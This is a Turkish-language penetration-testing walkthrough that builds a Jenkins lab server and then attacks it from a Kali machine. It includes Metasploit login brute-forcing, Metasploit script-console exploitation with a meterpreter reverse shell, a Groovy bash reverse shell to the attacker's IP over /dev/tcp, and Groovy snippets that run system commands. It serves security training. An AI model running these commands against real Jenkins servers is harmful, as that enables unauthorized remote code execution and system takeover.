Jenkins Sızma Testi
Jenkins, sürekli entegrasyon (CI) ve sürekli teslimat (CD) için kullanılan açık kaynaklı bir otomasyon sunucusudur. Java üzerine kuruludur ve otomasyon için bir komut dosyası platformu kullanır. Jenkins, yazılım geliştirme yaşam döngüsünde oluşturma, test etme ve devreye alma gibi görevleri otomatikleştirir. Bu otomasyon, geliştirme döngülerini hızlandırır, kod kalitesini artırır ve sürümleri kolaylaştırır. Temel özellikler arasında CI/CD işlem hatları, otomatik testler, sürüm kontrol sistemleriyle entegrasyon, eklentiler aracılığıyla genişletilebilirlik ve güçlü izleme ve raporlama yetenekleri yer alır.
İçindekiler
- Laboratuvar Kurulumu
- Kurulum
- Yapılandırma
- Numaralandırma
- Metasploit Çerçevesini kullanarak yararlanma
- Manuel Olarak Yararlanma (Tersine Kabuk)
- Kabuk Komutlarını Doğrudan Yürütme
- Çözüm
Laboratuvar Kurulumu
Bu yazımızda ubuntu makine üzerinde Jenkins sunucusunu kurup uzaktan kod çalıştırma işlemini gerçekleştireceğiz. Makineler aşağıdadır:
Hedef Makine: Ubuntu (192.168.1.4)
Saldırgan Makine: Kali Linux (192.168.1.7)
Kurulum
Jenkins’in çalışması için Java Çalışma Zamanı Ortamı’nın (JRE) kullanılması gerekir. Bu kılavuzda Java ortamını oluşturmak için OpenJDK’yı kullanacağız. OpenJDK’nın geliştirme kiti JRE’yi kendi çerçevesine dahil eder.
apt install openjdk-11-jdk
Bazen varsayılan Ubuntu deposunda en son Jenkins sürümü bulunmayabilir. Bu nedenle, en yeni özelliklere ve yamalara erişmek için proje tarafından sağlanan havuzun seçilmesi önerilir.
Jenkins deposunu Ubuntu sistemine entegre etmek için aşağıdakilere uyun:
Paket bütünlüğünü sağlamak için GPG anahtarını içe aktararak başlayın.
sudo curl -fsSL https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key | sudo tee /usr/share/keyrings/jenkins-keyring.asc > /dev/null
Bunu takiben, Jenkins deposunu dahil edin ve aşağıda verilen komutu kullanarak kimlik doğrulama anahtarını kaynak listesine ekleyin:
sudo echo deb [signed-by=/usr/share/keyrings/jenkins-keyring.asc] https://pkg.jenkins.io/debian-stable binary/ | sudo tee /etc/apt/sources.list.d/jenkins.list > /dev/null
apt install jenkins
Kurulum tamamlandıktan sonra Jenkins aşağıdaki komut kullanılarak başlatılabilir:
systemctl start Jenkins
Durum aşağıdaki komut kullanılarak kontrol edilebilir:
systemctl status jenkins
Yapılandırma
Kurulumdan sonra Jenkins sorunsuz çalışacak şekilde yapılandırılabilir. 8080 numaralı bağlantı noktasında çalışan hizmeti kontrol ederek Jenkins sunucusu bir Yönetici parolası gerektirir.
Şifre, initialAdminPassword dosyasının içeriği okunarak elde edilebilir.
cat /var/lib/Jenkins/secrets/initialAdminPassword
Jenkins’i Özelleştirmek için Önerilen eklentileri yükle seçeneğini seçin ve kuruluma devam edin.
Son adım , İlk Yönetici Kullanıcı kullanıcı adı ve şifresinin oluşturulmasını gerektirir . Burada kullanıcı adımızı raj , şifremizi ise 123 olarak kullanıyoruz .
Son olarak Jenkins Sunucusuna erişmek için URL’yi giriyoruz. Ubuntu makine üzerinde sunucu kurulumu yapmak istediğimiz için URL http://127.0.0.1:8080/ olarak girilebilir .
Numaralandırma
Jenkins sunucusunu başarıyla kurup yapılandırdıktan sonra kali makinesini kullanarak sömürüye başlayabiliriz. Numaralandırmayla başlayarak, 8080 numaralı bağlantı noktasında Jenkins Sunucusu ubuntu makinesinde çalıştığından 8080 numaralı bağlantı noktasını kontrol ediyor. 8080 numaralı bağlantı noktasında kimlik bilgileri gerektiren bir Jenkins oturum açma sayfası var.
Metasploit Çerçevesini kullanarak sömürü:
Oturum açma sayfası kimlik bilgileri gerektirdiğinden, oturum açmak için geçerli kullanıcı adı ve parolayı kontrol etmek amacıyla Metasploit çerçevesinde bulunan yardımcı programı kullanabiliriz. Kullanacağımız yardımcı bir kullanıcı adı dosyası ve bir şifre dosyası gerektirecektir.
CTF senaryoları için kullanıcı adı dosyasının ortak kullanıcı adları listesi olarak kullanılabileceği ( https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/names.txt ) ve şifre dosyasının kullanılabileceği belirtilebilir. rockyou.txt olarak . Ancak burada taramayı kolaylaştırmak için özel bir sözlük kullanıyoruz. Metasploit çerçevesinde aşağıdaki komutlar kullanılabilir:
use auxiliary/scanner/http/Jenkins_login
set rhosts 192.168.1.4
set rport 8080
set targeturi /
set user_file users.txt
set pass_file passwords.txt
set verbose false
exploit
Kullanıcı adı ve parolanın başarıyla numaralandırıldığını gözlemleyin. Kullanıcı adı ve şifre numaralandırıldıktan sonra, şimdi bunları hedefi istismar etmek için kullanmanın zamanı geldi. Burada kullanılabilecek istismar, istismar /multi/http/Jenkins_script_console’dur . İstismarı çalıştırmak için Metasploit çerçevesinde aşağıdaki komutlar kullanılabilir:
use exploit/multi/http/Jenkins_script_console
show targets
set target 1
set payload linux/x64/meterpreter/reverse_tcp
set rhosts 192.168.1.4
set rport 8080
set targeturi /
set username raj
set password 123
exploit
İstismar başarıyla yürütüldükten sonra ters kabuğun elde edildiğini gözlemleyin.
Manuel Olarak Yararlanma (Tersine Kabuk)
Manuel olarak yararlanmak için Jenkins Konsolunun kullanıcı adı ve şifresine ihtiyacımız var. Burada saldırganın kimlik bilgilerini kaba zorlama veya başka bir yöntemle zaten bulduğunu varsayarsak, konsola başarılı bir şekilde giriş yapılabilir.
Yardımcıdan daha önce bulunan kimlik bilgilerini ( raj : 123 ) kullanarak giriş yaptıktan sonra. Komut Dosyası Konsolu işlevini içeren Jenkins Yönetimi işlevine erişilebilir.
Jenkins’te Groovy , işleri ve işlem hatlarını tanımlamak için ana kodlama dili olarak hizmet eder. Dinamik olan ve Java Sanal Makinesi (JVM) üzerinde çalışan Groovy, ağırlıklı olarak Java tabanlı olan Jenkins ile sorunsuz bir şekilde bütünleşir. Bu nedenle, ters kabuğu elde etmek için harika ters kabuk betiğini kullanacağız. Groovy ters kabuk komutu şu URL’den edinilebilir: https://www.revshells.com ve Groovy komut dosyası yükünün seçilmesi.
Şimdi, Jenkins komut dosyası konsolunda yukarıdaki harika ters kabuk komut dosyasını kullanıyoruz. Komut dosyasını çalıştırmadan önce , aşağıdaki komutu kullanarak netcat dinleyicisini kali makinesinin içindeki 443 numaralı bağlantı noktasında başlattığınızdan emin olun:
rlwrap nc -lnvp 443
Son olarak, yukarıdaki harika betiği çalıştırdıktan sonra 443 numaralı bağlantı noktasında ters kabuk elde edilir.
Ters kabuğu almanın alternatif bir yolu, komut dosyası konsolunda aşağıdaki komut dosyasını çalıştırmak olabilir:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/192.168.1.7/443; cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Komut dosyasını çalıştırmadan önce dinleyiciyi 443 numaralı bağlantı noktasında başlattığınızdan emin olun.
Betiğin yürütülmesinden sonra 443 numaralı bağlantı noktasında ters kabuğun elde edildiğini gözlemleyin.
Kabuk Komutlarını Doğrudan Yürütme
Ters kabuğu alacak bir dinleyicimizin olmadığı durumlar vardır. Bu durumlarda betiği doğrudan çalıştırabilir ve Sonuç penceresinde kodun çıktısını alabiliriz.
Sistem komutlarının çıktısını almak için aşağıdaki kod kullanılır:
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
Komut dosyasını çalıştırdıktan sonra çıktının doğrudan Sonuç penceresinde görülebildiğine dikkat edin .
Sonuç penceresinde komut çıktısını almak için kullanılabilecek benzer bir kod şöyle olabilir:
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
Komut dosyasını çalıştırdıktan sonra çıktının doğrudan Sonuç penceresinde görülebildiğine dikkat edin .
Çözüm
Özetle, ters kabuk elde etmek için Jenkins sunucularını kullanma olasılığı, güçlü güvenlik uygulamalarına olan hayati ihtiyacı vurgulamaktadır. Güvenliği ihlal edilmiş oturum açma bilgilerinden veya kimlik doğrulamanın hiç yapılmamasından kaynaklansın, Jenkins sunucularının güvenlik açığı, güvenliği neden ciddiye almamız gerektiğini gösteriyor. Yetkisiz erişim ve kötüye kullanım olasılığını azaltmak için kuruluşların katı erişim kurallarını uygulaması, düzenli güvenlik kontrolleri yapması ve sistemleri derhal güncellemesi önemlidir.